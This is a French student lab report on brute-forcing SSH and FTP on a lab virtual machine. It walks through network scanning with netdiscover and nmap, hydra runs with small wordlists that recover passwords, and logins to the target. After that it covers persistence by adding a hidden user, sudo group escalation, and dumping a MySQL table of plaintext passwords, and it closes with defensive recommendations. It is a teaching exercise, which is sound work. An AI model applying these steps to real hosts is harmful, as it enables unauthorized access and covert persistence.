



REPUBLIQUE DU SENEGAL



Un Peuple - Un But - une Foi

MINISTRE DE L'ENSEIGNEMENT SUPERIEUR
DE LA RECHERCHE, ET DE L'INNOVATION

RAPPORT:

ATTAQUE PAR FORCE BRUTE

Présenté par Ndeye Ramatoulaye Cissé et Mouhamadou Falilou Sarr

Sous la direction de Mr Samb

Septembre 2023

OBJECTIF :

L'objectif de ce TP est de réaliser des attaques par force brute sur les services réseau tels que SSH et FTP. Et aussi d'essayer de donner quelques recommandations afin d'éviter des attaques ultérieures.

Introduction

Une attaque par force brute est une méthode d'attaque informatique où un attaquant tente d'accéder à un système en essayant toutes les combinaisons possibles de mots de passe ou de clés jusqu'à ce qu'il trouve la bonne. Cette approche repose sur la simplicité mathématique du problème : en testant systématiquement toutes les options, l'attaquant espère éventuellement trouver la bonne combinaison.

Cette méthode est souvent utilisée pour contourner les mécanismes de sécurité qui protègent l'accès à un système, comme les mots de passe. Elle peut être particulièrement efficace si les utilisateurs choisissent des mots de passe faibles ou prévisibles. Pour se défendre contre les attaques par force brute, les utilisateurs sont encouragés à utiliser des mots de passe forts et uniques, ainsi que des mécanismes de protection supplémentaires tels que la double authentification. Les systèmes informatiques peuvent également mettre en place des mécanismes de verrouillage après un certain nombre de tentatives infructueuses pour ralentir ou dissuader les attaques par force brute.

I- MISE EN ŒUVRE

1- Collecte de données sur ma machine cliente

a. L'adresse IP de la machine cliente

Nous allons recourir à l'outil netdiscover pour effectuer la collecte de données. Netdiscover est un outil spécialisé dans la découverte d'adresses réseau, permettant d'identifier les hôtes actifs au sein d'un réseau donné. Son fonctionnement repose sur l'envoi de requêtes ARP (protocole de résolution d'adresse) pour repérer et cartographier les adresses IP associées aux adresses MAC au sein du réseau local. Cet outil s'avère particulièrement utile pour les administrateurs réseau et les professionnels de la sécurité, offrant une méthode efficace pour obtenir rapidement des informations sur les appareils connectés à un réseau.



Tapons la commande **netdiscover** :

Currently scanning: 192.168.25.0/16		Screen View: Unique Hosts		
98 Captured ARP Req/Rep packets, from 35 hosts.		Total size: 5884		
IP	At MAC Address	Count	Len	MAC Vendor / Hostname
192.168.1.18	e0:63:da:33:73:5c	13	780	Ubiquiti Inc
192.168.1.1	40:0e:f3:d8:d6:97	34	2040	zte corporation
192.168.1.229	f8:63:3f:49:30:9a	10	600	Intel Corporate
192.168.1.19	e0:63:da:33:7c:01	2	120	Ubiquiti Inc
192.168.0.1	64:70:02:6b:41:62	1	64	TP-LINK TECHNOLOGIES CO.,LTD.
192.168.0.50	b0:c5:54:f9:62:f6	1	60	D-Link International
192.168.1.69	94:65:9c:fc:fb:a7	1	60	Intel Corporate
192.168.1.39	d0:1c:3c:82:9e:79	1	60	TECNO MOBILE LIMITED
192.168.1.48	f8:63:3f:49:30:9a	1	60	Intel Corporate
192.168.1.126	8c:c6:81:33:94:47	1	60	Intel Corporate
192.168.1.80	32:80:dd:b7:cf:d6	1	60	Unknown vendor
192.168.1.107	94:65:9c:fc:fb:a7	1	60	Intel Corporate
192.168.1.97	7a:ff:84:e2:cc:8d	1	60	Unknown vendor
192.168.1.8	52:71:f1:71:ff:79	1	60	Unknown vendor
192.168.1.172	00:23:ae:a2:5e:28	1	60	Dell Inc.
192.168.1.141	ca:78:1a:c2:a1:11	1	60	Unknown vendor

a. Les services actifs sur la machine cliente

Pour cette partie, nous allons utiliser l'outil **nmap** qui permet de faire du scanning : Nmap, ou Network Mapper, est un outil de scanner de réseau très utilisé. Il est conçu pour découvrir des hôtes et des services sur un réseau informatique, ainsi que pour créer une carte du réseau.



Tapons la commande **nmap -A T4 192.168.2.2** :

```
(root@kali)-[/home/falilou]
# nmap -A T4 192.168.2.2
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-06 12:45 CET
Failed to resolve "T4".
Nmap scan report for 192.168.2.2 (192.168.2.2)
Host is up (0.00092s latency).
Not shown: 992 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 3.0.5
22/tcp    open  ssh          OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|   3072 f8:e9:20:d5:f4:34:09:1c:66:0e:fe:74:e7:39:49:71 (RSA)
|   256 0a:98:f1:73:57:a7:db:48:c2:c7:9b:51:b5:d1:a8:ef (ECDSA)
|_  256 cb:a5:39:92:df:22:58:30:31:25:88:62:ff:32:65:75 (ED25519)
80/tcp    open  http         Apache httpd 2.4.41 ((Ubuntu))
|_ http-title: Apache2 Ubuntu Default Page: It works
|_ http-server-header: Apache/2.4.41 (Ubuntu)
139/tcp   open  netbios-ssn  Samba smbd 4.6.2
443/tcp   open  ssl/http     Apache httpd 2.4.41
|_ http-title: Index of /
|_ tls-alpn:
|   http/1.1
|_ http-server-header: Apache/2.4.41 (Ubuntu)
|_ ssl-date: TLS randomness does not represent time
|_ ssl-cert: Subject: commonName=mfs/organizationName=MFS/stateOrProvinceName=SENEGAL/countryName=SN
|_ Not valid before: 2023-12-06T09:52:21
|_ Not valid after: 2024-12-05T09:52:21
445/tcp   open  netbios-ssn  Samba smbd 4.6.2
3306/tcp  open  mysql        MySQL 8.0.35-0ubuntu0.20.04.1
|_ ssl-date: TLS randomness does not represent time
|_ mysql-info:
|   Protocol: 10
|   Version: 8.0.35-0ubuntu0.20.04.1
|   Thread ID: 11
|   Capabilities flags: 65535
|   Some Capabilities: Speaks41ProtocolNew, InteractiveClient, DontAllowDatabaseTableColumn, Support41Auth, Speaks41ProtocolOld,
adDataLocal, IgnoreSpaceBeforeParenthesis, LongColumnFlag, SupportsTransactions, FoundRows, LongPassword, SupportsMultipleStatmer
|   Status: Autocommit
|   Salt: S%5wdnKH|\x01.U%\x0D3wx(\x01\x7F
|   Auth Plugin Name: caching_sha2_password
|_ ssl-cert: Subject: commonName=MySQL_Server_8.0.34_Auto_Generated_Server_Certificate
|_ Not valid before: 2023-10-10T11:11:29
|_ Not valid after: 2033-10-07T11:11:29
5357/tcp  open  http         BaseHTTPServer 0.6 (Python 3.8.10)
|_ http-server-header: BaseHTTP/0.6 Python/3.8.10
|_ http-title: Error response
MAC Address: 08:00:27:92:BB:02 (Oracle VirtualBox virtual NIC)
Device type: general purpose
```

On voit par la que les services **ssh (port 22)** et **ftp (port 21)** sont en marche. Nous allons les utiliser pour faire notre attaque.

2- Analyse de vulnérabilités



Créons deux dictionnaires login et password :

nano login.txt

```
GNU nano 7.2 login.txt
falilou
rama
bouki
kim
admin
modou
root
issa
toto
```

nano password.txt

```
GNU nano 7.2 password.txt
passer
passer123
passer123/
Passer
falilou123
rama123
```



Explication et essais avec service **ssh** :

SSH, ou Secure Shell, est un protocole de communication sécurisé qui permet d'accéder à des ordinateurs à distance sur un réseau. Il offre un moyen sécurisé d'effectuer des opérations en ligne de commande, transférer des fichiers, et même de rediriger le trafic réseau.

Tapons la commande : **hydra -L login.txt -P password.txt ssh://192.168.2.2**

```
(root@kali)~[/home/falilou]
# hydra -L login.txt -P password.txt ssh://192.168.2.2
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations,
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-12-05 18:08:34
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 63 login tries (l:9/p:7), ~4 tries per task
[DATA] attacking ssh://192.168.2.2:22/
[22][ssh] host: 192.168.2.2 login: falilou password: bintou
[22][ssh] host: 192.168.2.2 login: bouki password: passer
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-12-05 18:08:50
(root@kali)~[/home/falilou]
```



Explication et essais avec service **ftp** :

Le FTP, ou File Transfer Protocol (Protocole de transfert de fichiers), est un protocole standard utilisé pour transférer des fichiers entre des ordinateurs sur un réseau, comme l'Internet. Il définit la manière dont les fichiers doivent être transférés d'un emplacement à un autre.

Tapons la commande : **hydra -L login.txt -P password.txt ftp://192.168.2.2**

```
(root@kali)~[/home/falilou]
# hydra -L login.txt -P password.txt ftp://192.168.2.2
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations,
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-12-06 13:36:58
[DATA] max 16 tasks per 1 server, overall 16 tasks, 63 login tries (l:9/p:7), ~4 tries per task
[DATA] attacking ftp://192.168.2.2:21/
[21][ftp] host: 192.168.2.2 login: falilou password: bintou
[21][ftp] host: 192.168.2.2 login: bouki password: passer
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-12-06 13:37:11
```


3- Exploitation

Dans la phase d'exploitation d'un test d'intrusion, les experts en sécurité informatique, communément appelés "pentesters" ou "testeurs d'intrusion", mettent en pratique leurs découvertes en exploitant les vulnérabilités détectées dans un système ou une application. Cette étape intervient après avoir identifié les faiblesses de sécurité lors des phases initiales du test d'intrusion.

Comme on a le login et le mot de passe de la machine cliente, essayons de se connecter avec :



Avec **FTP** en tapant la commande : [ftp 192.168.2.2](ftp://192.168.2.2)

```
(root@kali)-[/home/falilou]
# ftp 192.168.2.2
Connected to 192.168.2.2.
220 (vsFTPD 3.0.5)
Name (192.168.2.2:falilou): falilou
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||17507|)
150 Here comes the directory listing.
drwxr-xr-x  7 1000    1000          4096 Dec  05 15:11 Bureau
drwxr-xr-x  2 1000    1000          4096 Oct 14 17:07 Documents
drwxr-xr-x  2 1000    1000          4096 Dec  05 09:35 Images
drwxr-xr-x  2 1000    1000          4096 Oct 10 11:04 Modèles
drwxr-xr-x  3 1000    1000          4096 Dec  05 09:37 Musique
drwxr-xr-x  2 1000    1000          4096 Oct 10 10:56 Public
drwxr-xr-x  6 1000    1000          4096 Nov 26 15:23 Téléchargements
drwxr-xr-x  2 1000    1000          4096 Dec  05 12:30 Vidéos
-rw-r--r--  1 0       0              47089 Nov 22 11:52 master.zip
-rwxr-xr-x  1 0       0              6034 Nov 20 09:26 msfinstall
drwx----- 4 1000    1000          4096 Nov 26 13:45 snap
drwxr-xr-x  3 0       0              4096 Nov 22 16:23 toto
drwxr-xr-x  7 0       0              4096 Aug 06 13:33 wsdd-master
226 Directory send OK.
ftp> █
```



Avec **SSH** en tapant la commande : **ssh falilou@192.168.2.2**

```
(root@kali)-[/home/falilou]
# ssh falilou@192.168.2.2
The authenticity of host '192.168.2.2 (192.168.2.2)' can't be established.
ED25519 key fingerprint is SHA256:FS5vLYHMjyghjL3z5HleLP23dJM5qPE1+TzY1c248U.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.2' (ED25519) to the list of known hosts.
falilou@192.168.2.2's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-89-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

 * Introducing Expanded Security Maintenance for Applications.
   Receive updates to over 25,000 software packages with your
   Ubuntu Pro subscription. Free for personal use.

   https://ubuntu.com/pro

La maintenance de sécurité étendue pour Applications n'est pas activée.

249 mises à jour peuvent être appliquées immédiatement.
199 de ces mises à jour sont des mises à jour de sécurité.
Pour afficher ces mises à jour supplémentaires, exécuter : apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
New release '22.04.3 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Your Hardware Enablement Stack (HWE) is supported until April 2025.
Last login: Fri Nov 24 17:27:09 2023 from 192.168.1.17
falilou@fs-ubuntu:~$ █
```

4- Post-exploitation

a. Persistance (Maintenir l'accès)

La persistance implique la mise en place de mécanismes ou de techniques qui permettent à un attaquant de conserver un accès même après qu'une vulnérabilité a été exploitée avec succès.



Créons l'utilisateur ghost :

```
falilou@fs-ubuntu:~$ sudo -s
[sudo] Mot de passe de falilou :
root@fs-ubuntu:/home/falilou# source .bashrc
root@fs-ubuntu:/home/falilou# adduser ghost
Ajout de l'utilisateur « ghost » ...
Ajout du nouveau groupe « ghost » (1003) ...
Ajout du nouvel utilisateur « ghost » (1003) avec le groupe « ghost » ...
Création du répertoire personnel « /home/ghost » ...
Copie des fichiers depuis « /etc/skel » ...
Nouveau mot de passe :
Retapez le nouveau mot de passe :
passwd : le mot de passe a été mis à jour avec succès
Modification des informations relatives à l'utilisateur ghost
Entrez la nouvelle valeur ou « Entrée » pour conserver la valeur proposée
  Nom complet []:
  N° de bureau []:
  Téléphone professionnel []:
  Téléphone personnel []:
  Autre []:
Ces informations sont-elles correctes ? [O/n]
root@fs-ubuntu:/home/falilou#
```

a. Augmentation de privilèges

L'expression « augmentation de privilèges » (ou privilege escalation en anglais) désigne le mécanisme par lequel un utilisateur ou un programme obtient des autorisations ou des privilèges supplémentaires qui dépassent ceux qui lui sont normalement attribués. Ce phénomène peut survenir de diverses manières et peut être mis en œuvre à des fins légitimes ou malveillantes.



Ajoutons l'utilisateur ghost dans le groupe des sudoers avec la commande :

gpasswd -a bouki sudo

```
root@fs-ubuntu:/home/falilou# gpasswd -a bouki sudo
Ajout de l'utilisateur bouki au groupe sudo
root@fs-ubuntu:/home/falilou# id bouki
uid=1002(bouki) gid=1002(bouki) groupes=1002(bouki),27(sudo)
root@fs-ubuntu:/home/falilou#
```

u root

```
root@fs-ubuntu:/home/falilou# mysql -u root
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 124
Server version: 8.0.35-0ubuntu0.20.04.1 (Ubuntu)

Copyright (c) 2000, 2023, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> █
```

Affichons les bases de données avec la commande : **show databases ;**

```
mysql> show databases;
+-----+
| Database |
+-----+
| banque   |
| db_pentesting |
| ecole    |
| information_schema |
| injection |
| mysql    |
| performance_schema |
| sys      |
+-----+
8 rows in set (0,00 sec)

mysql> █
```

Affichons les champs de la table etudiant avec la commande : **select * from etudiant ;**

```
mysql> use db_pentesting
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> select * from etudiant;
+-----+-----+-----+-----+
| prenom | nom   | login  | password |
+-----+-----+-----+-----+
| RAMA   | CISSE | rama   | passer   |
| FALILOU | SARR  | falilou | Passer123 |
| MAMADOU | WADE  | joker  | Passer123/ |
+-----+-----+-----+-----+
3 rows in set (0,00 sec)

mysql> █
```


5- Rapport

a. Les vulnérabilités identifiées

-  Login et mot de passe très facile à trouver
-  Possibilité de faire attaque par force brute (combinaison de login et password)
-  Politiques de mot de passe inadéquates
-  Absence de surveillance
-  Manque de sensibilisation à la sécurité
-  Le fait d'autoriser de faire du scanning sur la machine
-  Pas de gestion des accès
-  (...)

Pour atténuer ces vulnérabilités, il est crucial de promouvoir des politiques de sécurité solides, de sensibiliser les utilisateurs à l'importance de mots de passe robustes, de mettre en place des mécanismes de verrouillage de compte et de surveiller activement les tentatives de connexion pour détecter les comportements suspects.

b. Les risques associés

-  Violations de la confidentialité
-  Prise de contrôle de compte
-  Utilisation abusive des informations d'identification
-  Altération ou destruction de données
-  Utiliser un compte d'utilisateur pour se connecter
-  Impact sur la réputation (pour les entreprises et firmes)
-  Coûts financiers
-  (...)

Pour atténuer ces risques, il est essentiel de mettre en place des mesures de sécurité robustes, telles que l'utilisation de mots de passe forts, la mise en œuvre de politiques de verrouillage de compte, la surveillance des tentatives de connexion suspectes, et la sensibilisation des utilisateurs aux meilleures pratiques de sécurité.

c. Recommandations pour renforcer la sécurité.

-  Utilisation de mots de passe forts
-  Politiques de mot de passe
-  Verrouillage de compte
-  Surveillance des journaux d'audit
-  Utilisation de solutions d'authentification forte
-  Mises à jour régulière
-  Limitation des tentatives de connexion
-  Cryptage des données
-  Gestion des accès
-  Tests de sécurité réguliers

En adoptant ces pratiques recommandées, les organisations peuvent renforcer significativement leur posture de sécurité et réduire les risques associés aux attaques par force brute.

CONCLUSION

La sécurité face aux attaques par force brute est un élément crucial de la protection des systèmes informatiques. En mettant en œuvre des pratiques de sécurité solides, telles que l'utilisation de mots de passe robustes, la gestion des accès, la surveillance des journaux d'audit, et la sensibilisation des utilisateurs, les organisations peuvent réduire de manière significative les risques associés à ces types d'attaques. L'adoption de mesures telles que la double authentification, les politiques de verrouillage de compte, et les tests de sécurité réguliers contribue également à renforcer la résilience des systèmes face aux tentatives malveillantes. La sécurité informatique est un processus continu, et rester vigilant et proactif dans la gestion des vulnérabilités est essentiel pour assurer la protection des données et des systèmes contre les menaces persistantes.